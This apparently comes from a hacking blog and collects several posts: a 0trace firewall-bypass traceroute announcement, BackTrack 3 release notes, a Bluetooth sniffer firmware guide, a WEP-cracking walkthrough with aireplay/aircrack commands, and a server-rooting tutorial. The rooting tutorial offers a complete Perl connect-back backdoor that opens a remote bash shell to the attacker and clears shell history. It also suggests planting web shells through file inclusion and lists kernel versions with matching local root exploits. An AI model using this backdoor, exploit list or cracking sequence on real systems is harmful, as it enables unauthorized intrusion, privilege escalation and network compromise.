break
Jul 3

Information Orginally from BugTraq

This email came across Full Disclosure and Bugtraq the other day and I marked it to throw up a quick post on the subject just to make people aware of it.

I attempted to test it on my Ubuntu install and came across a few issues (I was missing commands (such as usleep) that prevented it from running), however the Author does note in the email that it is Linux only and may not work on all distros.

Here’s the email:

I’d like to announce the availability of a free security reconnaissance /
firewall bypassing tool called 0trace. This tool enables the user to
perform hop enumeration (”traceroute”) within an established TCP
connection, such as a HTTP or SMTP session. This is opposed to sending
stray packets, as traceroute-type tools usually do.

The important benefit of using an established connection and matching TCP
packets to send a TTL-based probe is that such traffic is happily allowed
through by many stateful firewalls and other defenses without further
inspection (since it is related to an entry in the connection table).

I’m not aware of any public implementations of this technique, even though
the concept itself is making rounds since 2000 or so; because of this, I
thought it might be a good idea to give it a try.

[ Of course, I might be wrong, but Google seems to agree with my
assessment. A related use of this idea is ‘firewalk’ by Schiffman and
Goldsmith, a tool to probe firewall ACLs; another utility called
‘tcptraceroute’ by Michael C. Toren implements TCP SYN probes, but since
the tool does not ride an existing connection, it is less likely to
succeed (sometimes a handshake must be completed with the NAT device
before any traffic is forwarded). ]

A good example of the difference is www.ebay.com (66.135.192.124) - a
regular UDP/ICMP traceroute and tcptraceroute both end like this:

14 as-0-0.bbr1.SanJose1.Level3.net (64.159.1.133) …
15 ae-12-53.car2.SanJose1.Level3.net (4.68.123.80) …
16 * * *
17 * * *
18 * * *

Let’s do the same using 0trace: we first manually telnet to 66.135.192.124
to port 80, then execute: ‘./0trace.sh eth0 66.135.192.124′, and finally
enter ‘GET / HTTP/1.0′ (followed by a single, not two newlines) to solicit
some client-server traffic but keep the session alive for the couple of
seconds 0trace needs to complete the probe.

The output is as follows:

10 80.91.249.14
11 213.248.65.210
12 213.248.83.66
13 4.68.110.81
14 4.68.97.33
15 64.159.1.130
16 4.68.123.48
17 166.90.140.134 < —
18 10.6.1.166 < — new data
19 10.6.1.70 < —
Target reached.

The last three lines reveal firewalled infrastructure, including private
addresses used on the inside of the company. This is obviously an
important piece of information as far as penetration testing is concerned.

Of course, 0trace won’t work everywhere and all the time. The tool will
not produce interesting results in the following situations:

- Target’s firewall drops all outgoing ICMP messages,

- Target’s firewall does TTL or full-packet rewriting,

- There’s an application layer proxy / load balancer in the way
(Akamai, in-house LBs, etc),

- There’s no notable layer 3 infrastructure behind the firewall.

The tool also has a fairly distinctive TCP signature, and as such, it can
be detected by IDS/IPS systems.

Enough chatter - the tool is available here (Linux version):

http://lcamtuf.coredump.cx/soft/0trace.tgz

Note: this is a 30-minute hack that involves C code coupled with a cheesy
shellscript. It may not work on non-Linux systems, and may fail on some
Linuxes, too. It could be improved in a number of ways - so if you like
it, rewrite it.

Cheers,

Jun 21

BackTrack 3 Final - Release Information

It’s finally happening….BackTrack 3 Final is being released….Finally!
Max, Martin have slaved for weeks and months, together with the help of many remote-exploit’ers to bring you this fine release. As usual, this version overshadows the previous ones with extra cool things.

Saint
SAINT has provided BackTrack users with a functional version of SAINT, pending a free request for an IP range license through the SAINT website, valid for 1 year.

Maltego
The guys over at Paterva have created a special version of Maltego v2.0 with a community license especially for BackTrack users. We would like to thank Paterva for co-operating with us and allowing us to feature this amazing tool in BackTrack.

Nessus
Tenable would not allow for redistribution of Nessus.

Kernel
2.6.21.5. Yes, yes, stop whining….We had serious deliberations concerning the BT3 kernel. We decided not to upgrade to a newer kernel as wireless injection patches were not fully tested and verified. We did not want to jeopardize the awesome wireless capabilities of BT3 for the sake of sexiness or slightly increased hardware compatibilities. All relevant security patches have been applied.

Tools
As usual, updated, sharpened, SVN’ed and armed to the teeth. This release we have some special features such as spoonwep, fastrack and other cool additions.

Description: CD Image
Name:: bt3-final.iso
Size: 695 MB
MD5: f79cbfbcd25147df32f5f6dfa287c2d9
SHA1: 471f0e41931366517ea8bffe910fb09a815e42c7
Download: Click here

Description: USB Version (Extended)
Name:: bt3final_usb.iso
Size: 784 MB
MD5: 5d27c768e9c2fef61bbc208c78dadf22
SHA1: 3aceedea0e8e70fff2e7f7a7f3039704014e980f
Download: Click here

Description: VMware Image
Name: BACKTRACK3_VMWare.rar
Size: 689 MB
MD5: 94212d3c24cf439644f158d90094ed6a
SHA1: 21c9a3f9658133efff259adbe290723583b4fd82
Download: Click here

Jun 17

Let’s suppose that you want to hack a webpage. You start looking at it, just test the functionality. After a while you start to test things in the page. Try a little “>’>><script>alert(1)</script> in the boxes, some SQL injection, LFI, RFI, hidden directories, hidden files, identifying the cms used and finding exploits for it, finding out who’s the owner and try to attack him… NOTHING WORKS. What should you do next?

Hack his neighbors

What does a “neighbor” mean ? A site that is located on the same server. The site you are attacking may be the most secure site, but if his neighbors are not as secure and the server lets you wonder around, you’re in.

Who are his neighbors?

You can find them with this tool Reverse IP tool google itNeighbours

Jun 10

The OSWA Assistant is a no-Operating-System-required standalone toolkit which is solely focused on wireless auditing. As a result, in addition to the usual WiFi (802.11) auditing tools, it also covers Bluetooth and RFID auditing. Using the toolkit is as easy as popping it into your computer’s CDROM and making your computer boot from it!
This toolkit is a contribution to the wireless security/auditing community and, as the “Assistant” moniker implies, and is designed for the following groups of people:

> IT-security auditors and professionals who need to execute technical wireless security testing against wireless infrastructure and clients;

> IT professionals who have responsibility for ensuring the secure operation and administration of their organization’s wireless networks;

> SME (Small & Medium Enterprise) and SOHO (SmallOffice-HomeOffice) businesses who do not have either the technical expertise or the resources to employ such expertise to audit their wireless networks;

> Non-technical-users who run wireless networks at home and who would like to audit the security of their wireless home networks and laptops but don’t know how.

You can download OSWA Assistant here: OSWA.iso

Jun 10

Introduction
Many papers and posts on internet forums have commented on the success of turning normal everyday bluetooth USB dongles ($10), into their more powerful counterparts that allow the capturing of packets from the airwaves. These more powerful USB dongles are usually sold at a much higher price ($10,000) together with the software to drive and control these devices.

The problems associated with BlueTooth sniffing

  • You cant simply just purchase the dongle with the alternate firmware.
  • There is next to no real opensource packet capture program for the bluetooth protocol.

Hardware & Limitations

Chipsets: Whats the difference?
The chipset of the Bluetooth USB Dongles are very important. Broadcom chipsets are cheap hardware and are deemed unsuitable devices for this paper. But unfortunalty nowadays, every manufacturer seems to prefer putting these chips in their products compared to the more reliable Cambridge Silicon Radio (CSR) chipset. If your lucky enough to find a dongle with a CSR chipset, your going to encounter different models:

  • Bluecore2-ROM/EXTERNAL (BC2-ROM,BC2-EXT)
  • Bluecore3-ROM/EXTERNAL (BC3-ROM,BC3-EXT)
  • Bluecore4-ROM/EXTERNAL (BC4-ROM,BC4-EXT)

You will notice each model has two distinct chipsets ROM and EXT. The ROM (Read Only Memory) chip is the cheaper version and usually only sells for $6 less compared to the EXT. The ROM is completely useless to us because we cant change the contents of its memory. The EXT or External model has a flashable EEPROM (Eraseable Electronic Programmable Read Only Memory). This means we can change the contents of the chip by using a computer to alter the firmware.

Small Note: The bluecore firware uses a programming language called XAP, which is closely related to Assembler a low level programming language on modern computers.

Bluecore 4 chips are availble from fujitsu at roughly $14 GBP:
http://www.fujitsu-siemens-shop.co.u…gory=Bluetooth

How can I tell what chipset I have?
It is relatively easy to determine the chipset of a usb dongle on a linux Operating System. With the Bluetooth device functionalilty compiled into the kernel, you simply need bluez-libs and bluez-utils installed, for the necessary software to talk to the device.

Using hciconfig to get the manufactuer
Using the command ‘hciconfig -a’ you can display information about all bluetooth devices currently up and running:

$ hciconfig -a
hci0: Type: USB
BD Address: <my_mac_address> ACL MTU: 384:8 SCO MTU: 64:8
UP RUNNING PSCAN
RX bytes:946 acl:0 sco:0 events:24 errors:0
TX bytes:590 acl:0 sco:0 commands:23 errors:0
Features: 0xff 0xff 0×8f 0xfe 0×9b 0xf9 0×00 0×80
Packet type: DM1 DM3 DM5 DH1 DH3 DH5 HV1 HV2 HV3
Link policy: RSWITCH HOLD SNIFF PARK
Link mode: SLAVE ACCEPT
Name: ‘my_name’
Class: 0×100104
Service Classes: Object Transfer
Device Class: Computer, Desktop workstation
HCI Ver: 2.0 (0×3) HCI Rev: 0×7ad LMP Ver: 2.0 (0×3) LMP Subver: 0×7ad
Manufacturer: Cambridge Silicon Radio (10)

Using bccmd to get the Chip Revision
This method only works for CSR chipsets:

$ bccmd -d hci0 chiprev
Chip revision: 0×0026 (BC4-External)

So in the above example, we have a flashable BlueCore4-External chip, perfectly the right version for the alternative firmware obtained from the Internet. N.B. Other EXT chips may be flashable, but the firmware availble will not work for them.

Uploading/Downloading Firmware to/from the BT USB Dongle
Other hackers on the internet have made the alternative firmware freely availble for download and the files are in the format of a Device Format Upgrade (DFU) file. You can then use on Linux the opensource tool dfutool (only works with CSR devices), to backup your original firmware, and download the alternative firmware onto your USB dongle.

Backup existing firmware
$ dfutool archive old_firmware.dfu

Download new firmware
$ dfutool upgrade new_firmware.dfu

Firmware available from the demo product of Frontlines FTS4B (Bluetooth Sniffer) here:
http://www.fte.com/dlfile.asp?name=s…Product=FTS4BT

Internet Forums usually guide people into installing and running pirated software. Using the commercial product to upgrade the USB dongles. However, the software will only download the firmware for a specific USB dongle. Another opensource package bccmd, can be used on a subset of dongles to change the vendor and product identifiers of the chip. With the identifers changed to something like 0×0a12 0×0002 [1]. The commercial software will gladly flash you device with the recent firmware upgrades.

How can I tell if the update worked?
Use hciconfig -a to show information about your connected dongles, the one you just re-flashed should look something like, (notice the UP RUNNING RAW):

hci1: Type: USB
BD Address: <my_mac_addr> ACL MTU: 0:0 SCO MTU: 0:0
UP RUNNING RAW
RX bytes:42 acl:0 sco:0 events:0 errors:0
TX bytes:9 acl:0 sco:0 commands:3 errors:0

Then goto Software, for information on using opensource sniffing software, to capture the bluetooth communication.

Playing with the Flash memory
You can do some interesting stuff with the memory locations on the USB Dongle (results vary model to model). To read/write to these areas you need the opensource package bccmd.

To list the memory areas available
$ bccmd -d hci0 memtypes
psi (0×0001) = Flash memory (0)
psf (0×0002) = Flash memory (0)
psram (0×0008) = RAM (transient) (2)

psi (0×0001) - Flash Memory
psf (0×0002) - Flash Memory: Write new variables in here to override any declared in 0×0004+
psrom (0×0004) – This is a read only memory section, often contains vendor and product ids.
psram (0×0008) – Flash Memory

How to read the contents of a given byte address
In the following example, we will extract the devices mac address (00:01:DE:AD:BE:EF) from its memory:
$ bccmd -d hci0 psget -s 0×000f 0×0001
Bluetooth address: 0xAD00 0xEFBE 0xDE00 0×0100
NB. notice the macaddress bytes appear in the following order {4 0 6 5 3 0 2 1}

0×000f is used so we first look in location 0×0001, then 0×0002, 0×0004 and so on.

How to write to a given byte address

WARNING – YOU CAN BRICK YOUR DONGLE WHEN WRITING TO ANY OF THE AVAILBLE ADDRESSED AREAS. THE BLUECORE COMMAND PROTOCOL IS NOT PART OF BLUETOOTH SPECIFICATION.

In this example we will change the mac address of our dongle:
$ bccmd -d hci0 psset -s 0×0002 0×0001 0×08 0×07 0×06 0×05 0×04 0×03 0×02 0×01
would change the mac address to 01:02:04:08:05:06

Software

Opensource sniffing software
An opensource c program is available that uses the bluez bluetooth protocol stack and the opensource CSR drivers.It tends to be available under two different names, firstly one of the commerical entity’s name or csrsniff.

The code is available from: http://darkircop.org/bt/bt.tgz

To see if everything works:
$./csrsniff -d hci0 -t
You should get an incrementing number (the clock of the dongle).

1) To stop sniffing:
$./csrsniff -d hci0 -s

2) To set the dongle’s packet filter (i.e. which packets to receive):
$./csrsniff -d hci0 -f 7 [receive all packet types]

3) To start sniffing:
$./csrsniff -d hci0 -S mac:addr:of:master <at> mac:addr:of:slave

To dump sniffed data in a file that hcidump understands:
$./csrsniff -d hci0 -e -w capture.cap
[hcidump -r capture.cap]
The dongle’s clock needs to be synchronized with that of the master. To maintain synchronization, you might want to perform steps 1–3 periodically(e.g. every minute).

Conclusion

We can successfully reflash a cheap usb dongle, to perform like their more expensive counterparts.

There is some basic opensource programming code available for sniffing raw bluetooth traffic.

References
[1] Busting The Bluetooth® Myth – Getting RAW Access
aka “Transforming a consumer Bluetooth Dongle into a Bluetooth Sniffer”
Max Moser
http://www.remote-exploit.org

[2] Bluetooth Sniffing For Less
http://bluetoothsecurity.wordpress.c…fing-for-less/

[3] Bluetooth Dongle with CSR chipset and flash or external memory using Flash
http://www.evilgenius.de/2007/04/10/…y-using-flash/

[4] Hacking Bluetooth by Martin Karger & Bastian Ballmann
http://www.acrobatfiles.com/bluetoot…-5547-pdf.html
Tutorial By Unknown

Wireless Punter

May 29

Acronyms

WEP Wired Equivalent Privacy
BSSID Basic Service Set Identifier
ESSID Extended Service Set Identifier
MAC Media Access Control
AP Access Point
APmac Access Point MAC
CLmac Client MAC

Introduction:

This document describes a generic approach to crack 64 / 128 bit WEP encryption key on a secure wireless network. The idea is to crack the WEP encryption key of the Access Point and connect to the access point using the recovered WEP key. To achieve this, I have set up a secure network consisting of an access point protected with 128 bit WEP key, a legitimate client connected to the access point and a attack machine which is not connected to the access point. Finally, provide countermeasures to cover the security issues in the system and to provide a secure configuration for the wireless setup.

This access point is configured to connect securely with the various legitimate clients using 64 / 128 bit WEP encryption key. In field scenario, once an attacker gains access to this WEP key, he/she will gain privilege to authenticate himself/herself with the access point. This will open door for many other wireless attacks. Some of them are as follows,

1) Physical Layer Attacks or Jamming
2) Spoofed Dissociation and De-authentication Frames Floods
3) Spoofed Malformed Authentication Frame Attack
4) Filling Up the Access Point Association and Authentication Buffers
5) Frame Deletion Attack
6) DoS Attacks Based on Specific Wireless Network Settings
7) Attacks Against 802.11i Implementations

In addition to this, if an attacker gains access to the WEP key, he/she can connect to the access point and can try to gain access to the configuration files through http by breaking the authentication mechanism.

Analysis

Overview of WEP

WEP relies on:

1) A key shared between all communicating parties.
2) An encryption algorithm, RC4.
3) A 24 bit initialization vector (IV).
4) A CRC of the frame payload.

Encryption Logic:

1) Checksum  An integrity checksum of the message is calculated and concatenated at the end of plain text message.
2) Encryption (RC4)  Plain text is encrypted using RC4.
i. An initialization vector (IV), v is chosen.
ii. RC4 generates a keystream as a function of v and key, k.
iii. The keystream is XORed with plain text to generate cipher text.

Objectives of WEP:

1) Confidentiality  To prevent eavesdropping so that the content of your traffic remains private.
2) Access Control  To discard all network packets that are not encrypted.
3) Data Integrity  To prevent network traffic from being modified or corrupted. This is main reason of including CRC with the plain text.

Major Attacks on WEP:

1) Passive Attacks  An attack in which an unauthorized party gains access to the wireless network but does not modify its contents or engage in communication with any node in the network. For example
i. Eavesdropping
ii. Traffic analysis by decrypting every packet that is sent over the wireless link.
2) Active Attacks  An attack in which an unauthorized party makes modifications to a message, data stream or file. For example
i. Masquerading
ii. Message modification
iii. Denial of service

Key Management:

1) The 802.11 standard does not address the issue of key management (how are keys distributed).
2) Usually one key is used for entire network.
3) Since everybody is using the same key, once a key is compromised for one session, the same key can be used to decrypt any other session.
4) It is also difficult to replace a compromised key. To achieve this, every single user would have to reconfigure their wireless network.
5) Reusing a single key also increases the chances of identifying a reused IV.

Problems with using RC4 Cipher:

1) The 802.11 protocol did not define how to implement IVs. The IV space takes 2^24 possible values which means that the secret share key should be changed as soon as possible IVs have been consumed but WEP defines not practical way to accomplish it.
2) WEP’s initialization vector duplication  the combination of shared key (k) and the repeated IV (v) results in repeated keystream.

Approach

Hardware Requirements:

Here is a list of required hardware,

1) Wireless Access Point  this will be the target access point.
2) Two laptops  Machine1 and Machine2. Machine1 is attacker’s machine and Machine2 is a legitimate user who can connect to the access point using WEP network key. Machine1 has no clue about the WEP network key of the access point.
3) A wireless network card. We used Netgear’s WPN 511 pcmcia card for Machine1. This card comes with Atheros chipset and has packet injection capabilities. Machine2 has an inbuilt wireless network card.

Note: Please make sure that the wireless card has the right chipset. Most wireless cards are programmed only to accept data that is addressed to them. Other cards, specifically the ones that are of use for wifi sniffing, are capable of picking up all traffic that is flying through the air. Common types are Atheros, Prism, Aironet, Realtek etc based cards.

Software Requirements:

Here is a list of required software,

1) Airodump-ng
2) Aireplay-ng
3) Aircrack-ng

Airodump-ng is used to sniff the wireless traffic. It will help us locate our access point and the client connected with it. It will also show us details like operating channel, data rate, beacons, encryption type etc.

Aireplay-ng is used to replay data packets to access points and clients. This technique is used to increase the data transfer rate between the access point and client in order to generate more IVs. More than 20,000 IVs are required to break the 64 bit WEP key and more than 70,000 IVs are required to break the 128 bit WEP key. Without implementing this technique, the attack becomes very slow.

Aircrack-ng is used to crack the WEP keys once we have sufficient IVs.

First of all, we need to configure the access point and client. Once the configuration is done we can leave them and go back to attack machine to break the WEP key implemented by the access point.

The first step is to configure a wireless network between the access point and the client laptop i.e. Machine2. This network will be secured with WEP key that we need to crack. Assign an SSID to your access point. Configure a 64 / 128 bit key.

Information gathering:

We would require following information to perform the attack,

1) MAC address of access point.
2) SSID of access point.
3) Wireless channel of access point.
4) MAC address of client associated with access point.

Setup Machine1 (Attack machine):

Insert the pcmcia wireless network card and boot the machine. Check the configurations using the following commands.

iwconfig.

By default, as in my case, you will see only one interface i.e. ath0. You will have to create a new wifi interface and put it to monitor mode. Use the following command:

wlanconfig ath1 create wlandev wifi0 wlanmode monitor

This will give you your wireless interface with name ath1 which will operate in monitor mode.

ifconfig ath1 up.

This will start the wireless network card.

If you want to use the existing interface i.e. ath0, use the following command to put it in monitor mode.

ifconfig ath0 mode Monitor.

This command will put the card in Monitor mode. This is important for passive listening and packet injection (+ your wireless network card should have packet injection capabilities).

Use the following command to verify if your card is ready to sniff the wireless traffic.

Iwlist ath1 scan

Attack

Following text describes the real attack which I performed on setup to crack the WEP encryption key.

Start airoudmp by typing the following command on your bash prompt,

airodump-ng –write data –ivs –band abg ath1

The above command will start airodump and will start sniffing wireless traffic. The different parameters are detailed below,

 –write will write out the data to a file with name “data”. Every time you specify the same output file name, such as “data”, airodump-ng will append the file name with “-##” such as data-01.ivs, data-02.ivs, etc.
 –ivs will capture only Initialization vectors
 –band will search for bands a,b and g

Your screen will be divided into two parts. The upper half will display the access points and the lower half will display the clients. Find your access point in the upper half of the screen and note down the MAC address or BSSID, ESSID and channel on which it is operating. We would require this information. Our aim is to collect as many IVs as possible. Every time data is exchanged between the access point and the associated client, each data packet will contain an IV. These IVs will then be fed to aircrack, in order to crack the WEP key.

Although, you will notice that tons of numbers (beacons) are flying by, but the data is not updating very quickly. This is because airodump is searching all the channels. From upper half of the screen, we can find out the channel on which our access point is operating. In my case, it was 11. Abort airodump and re-run it to sniff on specific channel. Use the following command,

airodump-ng –channel 11–write data –ivs –band abg ath1

Airodump will start running at much faster rate now and updating the data constantly. You will see a number rising very quickly, this is generally the beacons. Beacons just basically say “hey, i’m an access point” about 10 times a second. You can judge the quality of your connection by how frequently the beacon rises. Other than this, they are useless for our purposes. For this type of attack it is important for there to be a client connected to the access point. So connect machine2 to the access point wirelessly using the WEP encryption key. In airodump, you should see at the bottom a client pop up, the first MAC is the access point and the 2nd is the Client associated with it. Write down the MAC address or BSSID of the client.

Open a new bash prompt and type the following command,
aireplay-ng -2 -b APmac -d ff:ff:ff:ff:ff:ff -m 68 -n 68 -p 0841 -h CLmac ath1
where APmac is the MAC address of the access point and CLmac is the MAC address of the client i.e. Machine2, in our case. –d parameter is used for broadcasting the data. Aireplay will now start sniffing for a certain type of packet with a length no more and no less than 68 bytes between client and access point. It will display- “Read ### packets”. At this point, if there is significant data transfer between the client and access point, it will pull the right packet and will prompt you to use it. In this case, hit Y to use the packet and skip the next step. If however, it keeps reading packets for a while (more than a couple min) and does not pop up saying “Use this packet?” then open a new bash prompt and type the following command,
aireplay-ng -0 15 -a APmac -c CLmac ath1
The above command will send out 15 de-authentication packets to the client spoofing the identity of access point. So the client will think that the packets are coming from the legitimate access point and will disconnect itself from the wireless network and will try to re-connect after a while. It is this re-connection packet that we are trying to sniff.
Note: The normal data exchange rate between the access point and the client is not very fast. Collecting enough IVs at this rate to crack WEP keys will consume a lot of time. So we need to fasten up the process. This is done by sending data packets to access point at a faster rate. If the packet is valid and the access point think that the packet is coming from the legitimate client, it will send back the reply which will also contain the IV. We get a valid packet when the client tries to re-connect to the access point. Aireplay then uses this packet to flood access point spoofing its identity with the legitimate client.
Go back to first instance of aireplay and you should see something at the bottom of screen saying – “Use this packet”. Hit ‘y’ and aireplay will flood the access point with this packet. Switch back to airodump and you should see the data rate going up significantly.

If aireplay had picked up any more packets, it will prompt you again if you want to use them. Try more packets. Also, you may need to get closer to your access point or try the aireplay-ng -0 method again. Experiment with it. Once you’ve got the data rate going up quickly, start aircrack-ng to crack the WEP keys. Type in the following command,
aircrack-ng -f 2 -a 1 -b APmac -n 64 data-01.ivs
-n parameter could be 64 or 128 depending on the length of WEP key you have set in access point. Aircrack will scan the keys collected and will analyze the IVs. After a while of analysis, it will spit out the WEP encryption key.
The WEP encryption key has been successfully cracked.

Recommendation:
1) WEP is a weak implementation and contains many flaws. Switching to WPA1 or WPA2 with AES or TKIP will make the configurtion more secure.
2) There should be a mechanism to block a client who is continuously flooding AP or other clients with de-authentication packets.

May 28

I had some very disturbing news today from one of the forum users - he had just been fired by TJX for whistle blowing on their security issues. CrYpTiC_MauleR, who’s posts on TJX can be found here was fired today by TJX for talking about the company’s security flaws. This is the same company who recently lost millions of credit card numbers, for those of you who don’t recall. They tracked him down by IP (we’re still not completely sure how they did this, but we think it may have to do with a DynDNS account he uses), contacted his ISP to find out who he was, brought him into the office, questioned him about what he found, asked for him to write down his thoughts on how to fix the issues and then promptly fired him.

I completely understand why a company would want to reduce their risk, but this doesn’t bode well for future would-be whistle blowers, or for the future state of security for TJX. CrYpTiC_MauleR has been a long time poster on sla.ckers.org and has made a lot of contributions. I, for one, feel terrible about what happened, and I implore the community to reach out to him on sla.ckers.org, especially if you are looking for someone to help out in any open positions you might have. I think the best possible outcome of this would be that he gets a better job for caring about consumer security at large. Only time will tell.

But as a side note, I must caution everyone who prefers full disclosure as a rule, to be particularly cautious when posting that information, especially when it’s under your own name or a name you use elsewhere that may be tied back to you. Many of the largest companies on earth post to or read this site regularly, and no doubt someone will take personal offense at your actions, so I encourage everyone by way of example to please protect yourself - especially from those who would claim to care about security. Only actions matter in this world.

May 27

Security assessment and deep testing don’t require a big budget. Some of most effective security tools are free, and are commonly used by professional consultants, private industry and government security practitioners. Here are a few to start with.
1.nmap
2.nessus
3.metasploit
4.nikto2
5.wireshark
For scanning in the first steps of a security assessment or pen test, Nmap and Nessus share the crown. Nmap is a simple, powerful and very well-reviewed scanner that one finds in the toolbox of any serious security consultant. Nmap and its Zenmap graphical interface are free and available at nmap.orgfor virtually any platform from Vista and OS X to AmigaOS, and will happily run on low-power systems.

For more information, Fyodor, the author of Nmap, maintains a somewhat dated but good list at sectools.org of the top hundred open-source and low-cost security tools other than Nmap.

 

May 25

Today you will learn the essentials to rooting any “insecure” box. Obviously if you are reading this i don’t think you will be using any 0-day kernel exploits :P. So basic things you will need for this tutorial to work for you will be the following:

Shell Access on a website is the first thing you will need. How you gain this access is entirely up to you. I would say most people will end up going with a simple remote file inclusion and place yourself a c99, r57, locust or any shell of your choice.

You will want to get yourself a version of NetCat Which you can find at this location If you have an antivirus that auto deletes infected files or virii i would suggest disabling it as some av’s will detect netcat as a hacktool or remote admin tool. Once you have downloaded netcat open netcat up and it will ask you to enter a string for the command line. Reading up on
netcat is recommended but if your lazy a string like this will do just fine
Code:

http://www.vulnwatch.org/netcat/nc111nt.zip

ex:

Code:

-vv -l -n -p <porttoconnecton>

From there you will want to aquire a nice back-connect. I preffer to use one thats not in the shell because i find that those back connects work shitty so i will provide you with one that i use. Very simple to use just save as “bc.pl” then upload to server and end execute.

ex:

Code:

perl bc.pl <youriphere> <porttoconnecton>

Code:

#!/usr/bin/perl
use IO::Socket;
# Priv8 ** Priv8 ** Priv8
# IRAN HACKERS SABOTAGE Connect Back Shell
# code by:LorD
# We Are :LorD-C0d3r-NT-\x90
# Email:LorD@ihsteam.com
#
#wipu@SlackwareLinux:/home/programing$ perl dc.pl
#–== ConnectBack Backdoor Shell vs 1.0 by LorD of IRAN HACKERS SABOTAGE ==–
#
#Usage: dc.pl [Host] [Port]
#
#Ex: dc.pl 127.0.0.1 2121
#wipu@SlackwareLinux:/home/programing$ perl dc.pl 127.0.0.1 2121
#–== ConnectBack Backdoor Shell vs 1.0 by LorD of IRAN HACKERS SABOTAGE ==–
#
#[*] Resolving HostName
#[*] Connecting… 127.0.0.1
#[*] Spawning Shell
#[*] Connected to remote host

#bash-2.05b# nc -vv -l -p 2121
#listening on [any] 2121 …
#connect to [127.0.0.1] from localhost [127.0.0.1] 32769
#–== ConnectBack Backdoor vs 1.0 by LorD of IRAN HACKERS SABOTAGE ==–
#
#–==Systeminfo==–
#Linux SlackwareLinux 2.6.7 #1 SMP Thu Dec 23 00:05:39 IRT 2004 i686 unknown unknown GNU/Linux
#
#–==Userinfo==–
#uid=1001(lord) gid=100(users) groups=100(users)
#
#–==Directory==–
#/root
#
#–==Shell==–
#
$system = ‘/bin/bash’;
$ARGC=@ARGV;
print “IHS BACK-CONNECT BACKDOOR\n\n”;
if ($ARGC!=2) {
print “Usage: $0 [Host] [Port] \n\n”;
die “Ex: $0 127.0.0.1 2121 \n”;
}
use Socket;
use FileHandle;
socket(SOCKET, PF_INET, SOCK_STREAM, getprotobyname(’tcp’)) or die print “[-] Unable to Resolve Host\n”;
connect(SOCKET, sockaddr_in($ARGV[1], inet_aton($ARGV[0]))) or die print “[-] Unable to Connect Host\n”;
print “[*] Resolving HostName\n”;
print “[*] Connecting… $ARGV[0] \n”;
print “[*] Spawning Shell \n”;
print “[*] Connected to remote host \n”;
SOCKET->autoflush();
open(STDIN, “>&SOCKET”);
open(STDOUT,”>&SOCKET”);
open(STDERR,”>&SOCKET”);
print “IHS BACK-CONNECT BACKDOOR \n\n”;
system(”unset HISTFILE; unset SAVEHIST ;echo –==Systeminfo==– ; uname -a;echo;
echo –==Userinfo==– ; id;echo;echo –==Directory==– ; pwd;echo; echo –==Shell==– “);
system($system);
#EOF

**Note that if you are running a router or wireless on multiple ips set by your dhcp you might have to
forward the <porttoconnecton> to what ever the ip of your computer is. You can check this by opening
command prompt and typing ipconfig you should get an ip that looks similar to 192.168.1.100
which is the ip to forward to. If you are unsure about how to forward your port check out this site and
find your router model.

Code:

http://portforward.com/routers.htm

So Now that you have your tools and you have your shell access open up netcat and type in -vv -l -n -p 8080
for this tutorial we will connect on port 8080. Hit enter and it should start listening.

Go back to the server and upload your bc.pl. Execute the back connect with a command such as perl bc.pl <yourip> 8080.
once you execute this you can go back to the shell and it should have connected. With this particular back connect
you don’t have to find the kernel version because it displays it for you once it connects, but for those of you who are using a different back connect to find the os kernel version and userid you can type something like this into the shell and it will give you the info.

Code:

uname -a;id

Once executed you will see something probably similar to

Code:

Linux alexandra.adm24.de 2.6.8-2-686-smp #1 SMP Tue Aug 16 12:08:30 UTC 2005 i686 GNU/Linux
uid=33(www-data) gid=33(www-data) groups=33(www-data)

The important information here that you want is the OS & Kernel Ver. which in this case would be
Linux and the kernel ver. is 2.6.8-2 and you can see the last update of it was in 2005 so it’s fairly
old. which is a good thing for us.

Here is a kernel refrence for you all this will tell you what exploits work for the differenet kernels.
just to give you a general idea. note that this refrence is kind of old but is still pretty accurate but
there could be newer exploits now.

Code:

2.2 -> ptrace
2.4.17 -> newlocal, kmod, uselib24
2.4.18 -> brk, brk2, newlocal, kmod
2.4.19 -> brk, brk2, newlocal, kmod
2.4.20 -> ptrace, kmod, ptrace-kmod, brk, brk2
2.4.21 -> brk, brk2, ptrace, ptrace-kmod
2.4.22 -> brk, brk2, ptrace, ptrace-kmod
2.4.22-10 -> loginx
2.4.23 -> mremap_pte
2.4.24 -> mremap_pte, uselib24
2.4.25-1 -> uselib24
2.4.27 -> uselib24
2.6.2 -> mremap_pte, krad, h00lyshit
2.6.5 -> krad, krad2, h00lyshit
2.6.6 -> krad, krad2, h00lyshit
2.6.7 -> krad, krad2, h00lyshit
2.6.8 -> krad, krad2, h00lyshit
2.6.8-5 -> krad2, h00lyshit
2.6.9 -> krad, krad2, h00lyshit
2.6.9-34 -> r00t, h00lyshit
2.6.10 -> krad, krad2, h00lyshit
2.6.13 -> raptor, raptor2, h0llyshit, prctl
2.6.14 -> raptor, raptor2, h0llyshit, prctl
2.6.15 -> raptor, raptor2, h0llyshit, prctl
2.6.16 -> raptor, raptor2, h0llyshit, prctl
2.6.23 - 2.6.24 -> diane_lane_fucked_hard.c
2.6.17 - 2.6.24-1 -> jessica_biel_naked_in_my_bed.c

Once you have found the Kernel ver. of the server you are about to root you need to find the Local Root Exploit for that kernel which you can find with google using the list above. Once you have found your Exploit you will want to compile it assuming it’s in c which most are. To compile your xpl.c what you want to do is place the xpl.c on the server where you placed you bc.pl and then compile it. To Compile your c scripts go to your shell that you have spawned with netcat and type:
ex:

Code:

gcc xpl.c -o xpl

This will compile your xpl.c to a file named xpl.

From here now all you have to do is run your exploit which can be done by simply typing in your netcat connection

Code:

./xpl

It should execute the exploit file which you have just compiled and give you root depending on what the exploit requires.
some require nothing but running them. others such as require a large file to exploit or to be made to exploit. but this is just to explain how to root. you can read up from here if you would like.

Hope you enjoyed this tutorial and i hope it was helpful to you.

May 19

The Last HOPE (www.thelasthope.org) is this Summer’s hacker conference sponsored by 2600 Magazine.  Presenters and artists from all nationalities and disciplines are again invited to participate in this forum.  The Last HOPE covers all aspects of hacking, the community surrounding it, and its effects across the world.

For three days, The Hotel Pennsylvania will be the nexus of discussion, planning, and activity for hacker ideas, opportunities, and understanding.

There are several ways to participate:

  • Speak: Presentation ideas should be submitted with a synopsis of the topic and presenter bio, and will be chosen by relevance and peer review.  Panels, talks, tutorials, debates, or other types of presentations are all welcome.  Most presentations will be 55 minutes.
  • Interact: Demonstrations of new and interesting technologies or system elements as well as artistic exhibits are welcome.  We have 20,000 square feet of presentation space to fill, so projects of all sizes will be considered.  Robots, Segways, Legos, RFID, digital graffiti — submit your creative ideas!
